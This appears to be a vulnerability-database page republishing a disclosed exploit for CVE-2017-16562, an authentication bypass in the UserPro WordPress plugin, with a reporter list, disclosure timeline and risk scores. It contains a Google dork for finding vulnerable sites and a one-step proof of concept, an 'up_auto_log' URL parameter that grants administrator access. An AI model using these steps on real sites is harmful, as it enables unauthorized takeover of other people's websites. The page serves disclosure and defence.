WordPress Plugin Userpro < 4.9.17.1 - Authentication Bypass
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
 | CVE-2017-16562 | 10 Nov 201702:29 | – | attackerkb |
 | WordPress UserPro Plugin Authentication Bypass Vulnerability | 10 Nov 201700:00 | – | cnvd |
 | WordPress Userpro Plugin Authentication Bypass (CVE-2017-16562) | 12 Nov 201700:00 | – | checkpoint_advisories |
 | CVE-2017-16562 | 9 Nov 201719:00 | – | cve |
 | CVE-2017-16562 | 9 Nov 201719:00 | – | cvelist |
 | CVE-2017-16562 | 10 Nov 201702:29 | – | nvd |
 | WordPress UserPro Plugin < 4.9.17.1 Authentication Bypass Vulnerability | 21 Nov 201700:00 | – | openvas |
 | CVE-2017-16562 | 10 Nov 201702:29 | – | osv |
 | Authentication flaw | 10 Nov 201702:29 | – | prion |
 | VulnCheck KEV: CVE-2017-16562 | 5 Dec 202200:00 | – | vulncheck_kev |
10
# Exploit Title: Userpro – WordPress Plugin – Authentication Bypass
# Google Dork: inurl:/plugins/userpro
# Date: 11.04.2017
# Exploit Author: Colette Chamberland (Wordfence), Iain Hadgraft (Duke University)
# Vendor Homepage: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681?s_rank=9
# Software Link: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681?s_rank=9
# Version: <= 4.6.17
# Tested on: Wordpress 4.8.3
# CVE : requested, not assigned yet.
Description
================================================================================
The userpro plugin has the ability to bypass login authentication for the user
'admin'. If the site does not use the standard username 'admin' it is not affected.
PoC
================================================================================
1 - Google Dork inurl:/plugins/userpro
2 - Browse to a site that has the userpro plugin installed.
3 - Append ?up_auto_log=true to the target: http://www.targetsite.com/?up_auto_log=true
4 - If the site has a default 'admin' user you will now see the wp menu at the top of the site. You are now logged in
will full administrator access.
================================================================================
10/25/2017 – Wordfence notified of issue by Iain Hadgraft.
10/26/2017 – Vendor resolved the issue in the plugin.
11/04/2017 - Disclosure.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
07 Nov 2017 00:00Current
8.4High risk
Vulners AI Score8.4
CVSS 27.5
CVSS 39.8
EPSS0.27369